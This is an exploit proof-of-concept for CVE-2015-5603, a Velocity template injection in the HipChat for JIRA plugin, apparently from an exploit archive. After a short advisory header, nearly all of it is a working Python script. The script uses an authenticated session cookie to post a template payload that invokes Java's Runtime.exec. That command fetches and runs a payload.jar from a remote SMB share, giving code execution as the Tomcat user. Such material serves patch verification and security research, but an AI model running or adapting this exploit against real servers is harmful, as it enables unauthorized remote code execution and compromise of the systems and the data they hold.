JIRA and HipChat for JIRA Plugin - Velocity Template Injection

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# JIRA and HipChat for JIRA plugin Velocity Template Injection Vulnerability
# Date: 2015-08-26
# CVE ID: CVE-2015-5603
# Vendor Link: https://confluence.atlassian.com/jira/jira-and-hipchat-for-jira-plugin-security-advisory-2015-08-26-776650785.html
#
# Product: JIRA and the HipChat for JIRA plugin.
# Affected HipChat For JIRA plugin versions: 1.3.2 <= version < 6.30.0
# Affected JIRA product versions: 6.3.5 <= version <  6.4.11
#
# Discovered internally by Atlassian (vendor)
# Proof of concept script by Chris Wood <chris@invivid.com>
#
# Tested against JIRA 6.3.4a with HipChat 6.29.2 on Windows 7 x64
# Allows any authenticated JIRA user to execute code running as Tomcat identity
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import urllib2
import json

# cookie of any authenticated session (ex. jira-user)
JSESSIONID = '541631B0D72EF1C71E932953F4760A70'

# jira server
RHOST      = 'http://192.168.2.15:8080'

# samba public share, read/write to anonymous users
CMD 	   = ' java -jar \\\\192.168.2.234\\public\\payload.jar '
data = {
    'message': ' $i18n.getClass().forName(\'java.lang.Runtime\').getMethod(\'getRuntime\', null).invoke(null, null).exec(\'' + CMD + '\').waitFor() '
}

opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'JSESSIONID=' + JSESSIONID))
urllib2.install_opener(opener)
req = urllib2.Request(RHOST + '/rest/hipchat/integrations/1.0/message/render/')
req.add_header('Content-Type', 'application/json')

response = urllib2.urlopen(req, json.dumps(data))

print('##################################')
print('######### CVE-2015-5603 ##########')
print('##################################')
print(response.read())